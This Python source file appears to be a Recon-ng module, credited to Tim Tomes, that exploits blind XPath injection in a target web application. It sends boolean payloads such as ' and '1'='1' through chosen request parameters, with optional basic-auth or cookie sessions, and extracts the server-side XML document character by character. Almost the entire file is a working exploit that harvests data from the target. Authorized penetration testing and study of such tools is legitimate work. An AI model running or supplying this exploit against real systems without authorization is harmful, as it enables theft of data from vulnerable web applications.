from __future__ import print_function
from recon.core.module import BaseModule
import urllib
import sys

class Module(BaseModule):

    meta = {
        'name': 'Xpath Injection Brute Forcer',
        'author': 'Tim Tomes (@LaNMaSteR53)',
        'description': 'Exploits XPath injection flaws to enumerate the contents of serverside XML documents.',
        'options': (
            ('base_url', None, True, 'target resource url excluding any parameters'),
            ('basic_user', None, False, 'username for basic authentication'),
            ('basic_pass', None, False, 'password for basic authentication'),
            ('cookie', None, False, 'cookie string containing authenticated session data'),
            ('parameters', None, True, 'query parameters with \'<inject>\' signifying the injection'),
            ('post', False, True, 'set the request method to post. parameters should still be submitted in the url option'),
            ('string', None, True, 'unique string found when the injection results in \'True\''),
        ),
    }

    def getRequest(self, strTest):
        payload = {}
        for param in self.lstParams:
            payload[param[0]] = param[1].replace('<inject>', strTest)
        # send the request
        resp = self.request(self.strUrl, method=self.strMethod, payload=payload, headers=self.dictHeaders, auth=self.tupAuth)
        # process the response
        self.intCount += 1
        if self.strSearch in resp.text:
            return True
        else:
            return False

    def getLength(self, strTest):
        intLength = 0
        for x in range(0,10000):
            if self.getRequest(strTest % (x)):
                return x

    def getString(self, intLength, strTest):
        strResult = ''
        for x in range(1,intLength+1):
            found = False
            for char in self.strCharset:
                if self.getRequest(strTest % (x, char)):
                    strResult += char
                    print(char, end='')
                    found = True
                    break
            if not found:
                strResult += '?'
                print('?', end='')
        return strResult

    def checkItem(self, strItem, lstItems):
        for item in getattr(self, lstItems):
            if self.getRequest("' and name(%s)='%s" % (strItem, item)):
                return item

    def getAttribs(self, node):
        intAttribs = self.getLength("' and count(%s/@*)=%%d and '1'='1" % (node))
        for x in range(1,intAttribs+1):
            strAttrib = '%s/@*[%d]' % (node, x)
            print(' ', end='')
            # check if attrib matches previously enumerated attrib
            name = self.checkItem(strAttrib, 'attribs')
            if name:
                print(name, end='')
            else:
                # length of attrib name
                intNamelen = self.getLength("' and string-length(name(%s))=%%d and '1'='1" % (strAttrib))
                # attrib name
                name = self.getString(intNamelen, "' and substring(name(%s),%%d,1)='%%s' and '1'='1" % (strAttrib))
                self.attribs.append(name)
            # length of attrib value
            intValuelen = self.getLength("' and string-length(%s)=%%d and '1'='1" % (strAttrib))
            # attrib value
            print('="', end='')
            value = self.getString(intValuelen, "' and substring(%s,%%d,1)='%%s' and '1'='1" % (strAttrib))
            print('"', end='')

    def getXML(self, node='', name='', level=0):
        spacer = '   '*level
        intNodes = self.getLength("' and count(%s/*)=%%d and '1'='1" % (node))
        if not intNodes:
            # check for value
            intValuelen = self.getLength("' and string-length(%s)=%%d and '1'='1" % (node))
            if intValuelen:
                print('>', end='')
                value = self.getString(intValuelen, "' and substring(%s,%%d,1)='%%s' and '1'='1" % (node))
                print('</%s>' % (name))
            else:
                print('/>')
            return True
        if level != 0: print('>')
        for x in range(1,intNodes+1):
            strNode = '%s/*[%d]' % (node, x)
            print('%s<' % (spacer), end='')
            # check if node matches previously enumerated node
            name = self.checkItem(strNode, 'nodes')
            if name:
                print(name, end='')
            else:
                # length of node name
                intNamelen = self.getLength("' and string-length(name(%s))=%%d and '1'='1" % (strNode))
                # node name
                name = self.getString(intNamelen, "' and substring(name(%s),%%d,1)='%%s' and '1'='1" % (strNode))
                self.nodes.append(name)
            self.getAttribs(strNode)
            if not self.getXML(strNode, name, level + 1):
                print('%s</%s>' % (spacer, name))

    def module_run(self):
        self.strSearch = self.options['string']
        self.strUrl = self.options['base_url']
        #self.strCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
        self.strCharset = 'aeorisn1tl2md0cp3hbuk45g9687yfwjvzxqASERBTMLNPOIDCHGKFJUW.!Y*@V-ZQX_$#,/+?;^ %~=&`\)][:<(>"|{\'}'
        self.intCount = 0
        self.nodes = []
        self.attribs = []
        strTrue = "' and '1'='1"
        strFalse = "' and '1'='2"

        # process parameters
        params = self.options['parameters']
        params = params.split('&')
        params = [param.split('=') for param in params]
        self.lstParams = [(urllib.unquote_plus(param[0]), urllib.unquote_plus(param[1])) for param in params]

        # process basic authentication
        username = self.options['basic_user']
        password = self.options['basic_pass']
        self.tupAuth = (username, password) if username and password else ()

        # process cookie authentication
        cookie = self.options['cookie']
        self.dictHeaders = {'Cookie': cookie} if cookie else {}

        # set the request method
        self.strMethod = 'POST' if self.options['post'] else 'GET'

        self.verbose("'True' injection payload: =>%s<=" % (strTrue))
        if self.getRequest(strTrue):
            self.alert("'True' injection test passed.")
        else:
            self.error("'True' injection test failed.")
            return

        self.verbose("'False' injection payload: =>%s<=" % (strFalse))
        if not self.getRequest(strFalse):
            self.alert("'False' injection test passed.")
        else:
            self.error("'False' injection test failed.")
            return

        self.output('Fetching XML...')
        self.getXML()
        self.output('%d total queries made.' % (self.intCount))
